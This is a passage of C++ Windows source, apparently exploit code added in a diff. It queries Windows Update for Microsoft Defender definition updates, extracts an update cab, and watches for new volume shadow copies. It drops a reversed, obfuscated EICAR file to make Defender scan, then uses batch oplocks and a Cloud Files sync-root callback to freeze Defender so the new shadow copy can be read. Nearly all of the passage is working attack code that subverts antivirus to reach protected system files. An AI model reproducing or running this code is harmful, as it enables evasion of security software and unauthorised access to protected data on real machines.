= FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct); + if (!hcabctx) + { + printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper); + goto cleanup; + } + + + + extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs); + if (!extractres) + { + printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper); + goto cleanup; + } + FDIDestroy(hcabctx); + hcabctx = NULL; + + if (!CabOpArgs) + { + printf("Unexpected empty buffer after extracting cab file.\n"); + return NULL; + } + + CabOpArgs = CabOpArgs->first; + + firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles)); + ZeroMemory(firstupdt, sizeof(UpdateFiles)); + current = firstupdt; + while (CabOpArgs) + { + if (filecount) + *filecount += 1; + strcpy(current->filename, CabOpArgs->filename); + DWORD buffsz = CabOpArgs->FileSize; + current->filebuff = malloc(buffsz); + memmove(current->filebuff, CabOpArgs->buff, buffsz); + current->filesz = buffsz; + CabOpArgs = CabOpArgs->next; + if (CabOpArgs) + { + current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles)); + ZeroMemory(current->next, sizeof(UpdateFiles)); + current = current->next; + } + + } + printf("Cab file content extracted.\n"); + + +cleanup: + + if (CabOpArgs) + { + CabOpArguments* current = CabOpArgs->first; + while (current) + { + free(current->buff); + free(current->filename); + CabOpArgs = current; + current = current->next; + free(CabOpArgs); + } + } + if (hint) + InternetCloseHandle(hint); + + if (hint2) + InternetCloseHandle(hint2); + if (exebuff) + free(exebuff); + + return firstupdt; + + +} + +bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr) +{ + + + + IUpdateSearcher* updsrch = 0; + bool updatesfound = false; + IUpdateSession* updsess = 0; + CLSID clsid; + HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid); + ISearchResult* srchres = 0; + IUpdateCollection* updcollection = 0; + LONG updnum = 0; + BSTR title = 0; + BSTR desc = 0; + ICategoryCollection* catcoll = 0; + ICategory* cat = 0; + BSTR catname = 0; + IUpdate* upd = 0; + bool comini = CoInitialize(NULL) == 0; + if (!comini) { + printf("Failed to initialize COM\n"); + *criterr = true; + return false; + } + + + + + hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess); + + if (!updsess) + { + printf("CoCreateInstance returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("CoCreateInstance : 0x%p\n", updsess); + + + hr = updsess->CreateUpdateSearcher(&updsrch); + if (hr) + { + printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + + if (!updsrch) + { + printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch); + //printf("Checking for updates, please wait...\n"); + hr = updsrch->Search(SysAllocString(L""), &srchres); + if (hr) + { + printf("ISearchResult->Search failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + //printf("ISearchResult->Search : 0x%p\n", srchres); + + hr = srchres->get_Updates(&updcollection); + if (hr) + { + printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + + if (!updcollection) + { + printf("IUpdateCollection->get_Updates returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection); + + + hr = updcollection->get_Count(&updnum); + if (hr) + { + printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + //printf("Updates count : %d\n", updnum); + + for (LONG i = 0; i < updnum; i++) + { + if (upd) + { + upd->Release(); + upd = 0; + } + title = 0; + desc = 0; + catname = 0; + //printf("_________________________________________\n"); + bool IsWdUdpate = false; + bool IsSigUpdate = false; + hr = updcollection->get_Item(i, &upd); + if (hr) + { + printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + if (!upd) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("Update number : %d\n", i + 1); + + hr = upd->get_Title(&title); + if (hr) + { + printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr); + continue; + } + if (!title) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + continue; + } + title[SysStringLen(title)] = NULL; + //printf("Title : %ws\n", title); + + /* + desc = 0; + upd->get_Description(&desc); + if (!desc) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + continue; + } + desc[SysStringLen(desc)] = NULL; + printf("Description : %ws\n", desc); + */ + catcoll = 0; + hr = upd->get_Categories(&catcoll); + if (!catcoll) + { + printf("IUpdateCollection->get_Categories returned a NULL pointer.\n"); + continue; + } + LONG catcount = 0; + hr = catcoll->get_Count(&catcount); + for (LONG j = 0; j < catcount; j++) + { + cat = 0; + hr = catcoll->get_Item(j, &cat); + if (!cat) + { + printf("ICategoryCollection->get_Item returned NULL pointer.\n"); + continue; + } + catname = 0; + cat->get_Name(&catname); + catname[SysStringLen(catname)] = NULL; + //printf("Category name : %ws\n", catname); + if (catname) + { + if (!IsWdUdpate) + IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0; + if (!IsSigUpdate) + IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0; + + } + + } + updatesfound = IsWdUdpate && IsSigUpdate; + if (updatesfound) + break; + } + + if (updatesfound && updatetitle) { + memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t)); + } + +cleanup: + if (updcollection) + updcollection->Release(); + if (srchres) + srchres->Release(); + if (updsrch) + updsrch->Release(); + if (updsess) + updsess->Release(); + if (upd) + upd->Release(); + CoUninitialize(); + + + return updatesfound; +} + +////////////////////////////////////////////////////////////////////// +// WD definition update functions end +///////////////////////////////////////////////////////////////////// + + +////////////////////////////////////////////////////////////////////// +// Volume shadow copy functions +///////////////////////////////////////////////////////////////////// + +void rev(char* s) { + + // Initialize l and r pointers + int l = 0; + int r = strlen(s) - 1; + char t; + + // Swap characters till l and r meet + while (l < r) { + + // Swap characters + t = s[l]; + s[l] = s[r]; + s[r] = t; + + // Move pointers towards each other + l++; + r--; + } +} + +void DestroyVSSNamesList(LLShadowVolumeNames* First) +{ + while (First) + { + free(First->name); + LLShadowVolumeNames* next = First->next; + free(First); + First = next; + } +} + +LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode) +{ + + + if (!criticalerr || !vscnumber || !errorcode) + return NULL; + + *vscnumber = 0; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + NTSTATUS stat = STATUS_SUCCESS; + do + { + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + *criticalerr = true; + *errorcode = RtlNtStatusToDosError(stat); + return NULL; + } + + free(objdirinfo); + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + } while (1); + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + LLShadowVolumeNames* LLVSScurrent = NULL; + LLShadowVolumeNames* LLVSSfirst = NULL; + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + free(emptybuff); + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + (*vscnumber)++; + if (LLVSScurrent) + { + LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSScurrent->next) + { + printf("Failed to allocate memory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSScurrent->next; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + } + else + { + LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSSfirst) + { + printf("Failed to allocate memory.\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSSfirst; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + + } + + } + } + } + + + + + } + free(objdirinfo); + return LLVSSfirst; +} + +DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath) +{ + + wchar_t devicepath[] = L"\\Device"; + UNICODE_STRING udevpath = { 0 }; + RtlInitUnicodeString(&udevpath, devicepath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + HANDLE hobjdir = NULL; + DWORD retval = ERROR_SUCCESS; + wchar_t newvsspath[MAX_PATH] = { 0 }; + wcscpy(newvsspath, L"\\Device\\"); + bool criterr = false; + int vscnum = 0; + bool restartscan = false; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL; + bool srchfound = false; + wchar_t vsswinpath[MAX_PATH] = { 0 }; + UNICODE_STRING _vsswinpath = { 0 }; + + OBJECT_ATTRIBUTES objattr2 = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hlk = NULL; + LLShadowVolumeNames* vsinitial = NULL; + + stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr); + if (stat) + { + printf("Failed to open object manager directory, error : 0x%0.8X", stat); + retval = RtlNtStatusToDosError(stat); + return retval; + } + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + if (!emptybuff) + { + printf("Failed to allocate memory !!!"); + retval = ERROR_NOT_ENOUGH_MEMORY; + goto cleanup; + } + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + + + vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval); + + if (criterr) + { + printf("Unexpected error while listing current volume shadow copy volumes\n"); + goto cleanup; + } + if (!vsinitial) + { + printf("No volume shadow copies were found.\n"); + } + else + { + printf("Found %d volume shadow copies\n", vscnum); + } + + + + stat = STATUS_SUCCESS; + +scanagain: + do + { + if (objdirinfo) + free(objdirinfo); + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + retval = ERROR_NOT_ENOUGH_MEMORY; + goto cleanup; + } + ZeroMemory(objdirinfo, reqsz); + + scanctx = 0; + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + retval = RtlNtStatusToDosError(stat); + goto cleanup; + } + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + } while (1); + + + + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + // check against the list if there this is a unique VS Copy + LLShadowVolumeNames* current = vsinitial; + bool found = false; + while (current) + { + if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0) + { + found = true; + break; + } + current = current->next; + } + if (found) + continue; + else + { + srchfound = true; + wcscat(newvsspath, objdirinfo[i].Name.Buffer); + break; + } + } + } + } + } + + if (!srchfound) { + restartscan = true; + goto scanagain; + } + if (objdirinfo) { + free(objdirinfo); + objdirinfo = NULL; + } + NtClose(hobjdir); + hobjdir = NULL; + + + + printf("New volume shadow copy detected : %ws\n", newvsspath); + + + wcscpy(vsswinpath, newvsspath); + wcscat(vsswinpath, L"\\Windows"); + RtlInitUnicodeString(&_vsswinpath, vsswinpath); + InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + +retry: + stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL); + if (stat == STATUS_NO_SUCH_DEVICE) + goto retry; + if (stat) + { + printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat); + retval = RtlNtStatusToDosError(stat); + goto cleanup; + + + } + printf("Successfully accessed volume shadow copy.\n"); + CloseHandle(hlk); + if (fullvsspath) + wcscpy((wchar_t*)fullvsspath, newvsspath); + + +cleanup: + if (hobjdir) + NtClose(hobjdir); + if (emptybuff) + free(emptybuff); + if (vsinitial) + DestroyVSSNamesList(vsinitial); + + return retval; +} + +DWORD GetWDPID() +{ + static DWORD retval = 0; + if (retval) + return retval; + + SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (!scmgr) + return 0; + SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS); + CloseServiceHandle(scmgr); + if (!hsvc) + return 0; + + + SERVICE_STATUS_PROCESS ssp = { 0 }; + DWORD reqsz = sizeof(ssp); + bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz); + CloseServiceHandle(hsvc); + if (!res) + return 0; + retval = ssp.dwProcessId; + return retval; + +} + +void CfCallbackFetchPlaceHolders( + _In_ CONST CF_CALLBACK_INFO* CallbackInfo, + _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters +) { + + printf("CfCallbackFetchPlaceHolders triggered !\n"); + + CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo; + wchar_t* procname = PathFindFileName(cpi->ImagePath); + printf("Directory query from %ws\n", procname); + if (GetWDPID() == cpi->ProcessId) + { + cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext; + SetEvent(ctx->hnotifywdaccess);; + + printf("Defender flagged.\n"); + CF_OPERATION_INFO cfopinfo = { 0 }; + cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); + cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; + cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; + cfopinfo.TransferKey = CallbackInfo->TransferKey; + cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; + cfopinfo.RequestKey = CallbackInfo->RequestKey; + //STATUS_CLOUD_FILE_REQUEST_TIMEOUT + SYSTEMTIME systime = { 0 }; + FILETIME filetime = { 0 }; + GetSystemTime(&systime); + SystemTimeToFileTime(&systime, &filetime); + + FILE_BASIC_INFO filebasicinfo = { 0 }; + filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; + CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} }; + CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + placeholder[0].RelativeFileName = ctx->filename; + + placeholder[0].FsMetadata = fsmetadata; + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + placeholder[0].FileIdentity = wuid2; + placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t); + placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE; + + + CF_OPERATION_PARAMETERS cfopparams = { 0 }; + cfopparams.ParamSize = sizeof(cfopparams); + cfopparams.TransferPlaceholders.PlaceholderCount = 1; + cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1; + cfopparams.TransferPlaceholders.EntriesProcessed = 0; + cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; + cfopparams.TransferPlaceholders.PlaceholderArray = placeholder; + + WaitForSingleObject(ctx->hnotifylockcreated, INFINITE); + HRESULT hs = CfExecute(&cfopinfo, &cfopparams); + printf("CfExecute returned : 0x%0.8X\n", hs); + return; + } + CF_OPERATION_INFO cfopinfo = { 0 }; + cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); + cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; + cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; + cfopinfo.TransferKey = CallbackInfo->TransferKey; + cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; + cfopinfo.RequestKey = CallbackInfo->RequestKey; + CF_OPERATION_PARAMETERS cfopparams = { 0 }; + cfopparams.ParamSize = sizeof(cfopparams); + cfopparams.TransferPlaceholders.PlaceholderCount = 0; + cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0; + cfopparams.TransferPlaceholders.EntriesProcessed = 0; + cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; + cfopparams.TransferPlaceholders.PlaceholderArray = { 0 }; + HRESULT hs = CfExecute(&cfopinfo, &cfopparams); + printf("CfExecute : 0x%0.8X\n", hs); + + return; + + +} + +DWORD WINAPI FreezeVSS(void* arg) +{ + cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg; + if (!args) + return ERROR_BAD_ARGUMENTS; + + HANDLE hlock = NULL; + HRESULT hs; + CF_SYNC_REGISTRATION cfreg = { 0 }; + cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION); + cfreg.ProviderName = L"IHATEMICROSOFT"; + cfreg.ProviderVersion = L"1.0"; + CF_SYNC_POLICIES syncpolicy = { 0 }; + syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES); + syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; + syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; + syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED; + syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; + syncpolicy.InSync = CF_INSYNC_POLICY_NONE; + CF_CALLBACK_REGISTRATION callbackreg[2]; + callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders }; + callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL }; + CF_CONNECTION_KEY cfkey = { 0 }; + OVERLAPPED ovd = { 0 }; + DWORD nwf = 0; + //wchar_t syncroot[] = L"C:\\temp"; + wchar_t syncroot[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH); + *(PathFindFileName(syncroot) - 1) = L'\0'; + DWORD retval = STATUS_SUCCESS; + wchar_t lockfile[MAX_PATH]; + wcscpy(lockfile, syncroot); + wcscat(lockfile, L"\\"); + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + wcscat(lockfile, wuid2); + wcscat(lockfile, L".lock"); + cldcallbackctx callbackctx = { 0 }; + bool syncrootregistered = false; + callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL); + callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess) + { + printf("Failed to create event, error : %d", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + wcscpy(callbackctx.filename, wuid2); + wcscat(callbackctx.filename, L".lock"); + hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to create lock file %ws error : %d", lockfile, GetLastError()); + retval = GetLastError(); + goto cleanup; + } + + + //CreateDirectory(syncroot, NULL); + hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE); + if (hs) + { + printf("Failed to register syncroot, hr = 0x%0.8X\n", hs); + retval = ERROR_UNIDENTIFIED_ERROR; + goto cleanup; + } + syncrootregistered = true; + hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); + if (hs) + { + printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs); + retval = ERROR_UNIDENTIFIED_ERROR; + goto cleanup; + } + if (args->hlock) { + CloseHandle(args->hlock); + args->hlock = NULL; + } + + printf("Waiting for callback...\n"); + + WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE); + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ovd.hEvent) + { + printf("Failed to create event, error : %d\n", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + SetEvent(callbackctx.hnotifylockcreated); + + printf("Waiting for oplock to trigger...\n"); + + GetOverlappedResult(hlock, &ovd, &nwf, TRUE); + + printf("WD is frozen and the new VSS can be used.\n"); + + SetEvent(args->hvssready); + + WaitForSingleObject(args->hcleanupevent, INFINITE); + + + +cleanup: + + if (hlock) + CloseHandle(hlock); + if (callbackctx.hnotifylockcreated) + CloseHandle(callbackctx.hnotifylockcreated); + if (callbackctx.hnotifywdaccess) + CloseHandle(callbackctx.hnotifywdaccess); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + + if (syncrootregistered) + { + CfDisconnectSyncRoot(cfkey); + CfUnregisterSyncRoot(syncroot); + } + + + return retval; + +} + + +bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath) +{ + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + + wchar_t workdir[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH); + wcscat(workdir, wuid2); + wchar_t eicarfilepath[MAX_PATH] = { 0 }; + wcscpy(eicarfilepath,workdir); + wcscat(eicarfilepath,L"\\foo.exe"); + + HANDLE hlock = NULL; + wchar_t rstmgr[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH); + OVERLAPPED ovd = { 0 }; + char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X"; + rev(eicar); + DWORD nwf = 0; + cloudworkerthreadargs cldthreadargs = { 0 }; + DWORD tid = 0; + HANDLE hthread = NULL; + bool dircreated = false; + bool retval = true; + HANDLE hfile = NULL; + HANDLE trigger = NULL; + HANDLE hthread2 = NULL; + HANDLE hobj[2] = { 0 }; + DWORD exitcode = STATUS_SUCCESS; + DWORD waitres = 0; + hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid); + if (!hthread) + { + printf("Failed to create worker thread, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + dircreated = CreateDirectory(workdir, NULL); + if (!dircreated) + { + printf("Failed to create working directory, error : %d\n",GetLastError()); + retval = false; + goto cleanup; + } + + hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (!hfile || hfile == INVALID_HANDLE_VALUE) + { + printf("Failed to create eicar test file, error : %d\n", GetLastError()); + retval = false; + goto cleanup; + } + + + + if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL)) + { + printf("Failed to write eicar test file, error : %d\n", GetLastError()); + retval = false; + goto cleanup; + } + + + hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError()); + retval = false; + goto cleanup; + } + + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ovd.hEvent) + { + printf("Failed to create event object with error : %d !!!!\n", GetLastError()); + retval = false; + goto cleanup; + } + + SetLastError(ERROR_SUCCESS); + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + // trigger wd for action + trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (trigger && trigger != INVALID_HANDLE_VALUE) + CloseHandle(trigger); + + printf("Waiting for oplock to trigger...\n"); + GetOverlappedResult(hlock, &ovd, &nwf, TRUE); + printf("Oplock triggered.\n"); + + if (!GetExitCodeThread(hthread, &exitcode)) + { + printf("Unexpected error while getting worker thread exit code"); + retval = false; + goto cleanup; + } + if (exitcode) + { + printf("Failed to get new volume shadow copy path"); + retval = false; + goto cleanup; + + } + + + cldthreadargs.hcleanupevent = hreleaseevent; + cldthreadargs.hlock = hlock; + cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL); + + hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid); + if (!hthread2) { + printf("Unable to create worker thread, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + + + hobj[0] = hthread2; + hobj[1] = cldthreadargs.hvssready; + waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE); + + if (waitres - WAIT_OBJECT_0 == 0) + { + printf("Unable to freeze WD, thread exited prematurely.\n"); + retval = false; + } + +cleanup: + + + if (hthread) + CloseHandle(hthread); + if(hthread2) + CloseHandle(hthread2); + if(cldthreadargs.hvssready) + CloseHandle(cldthreadargs.hvssready); + if 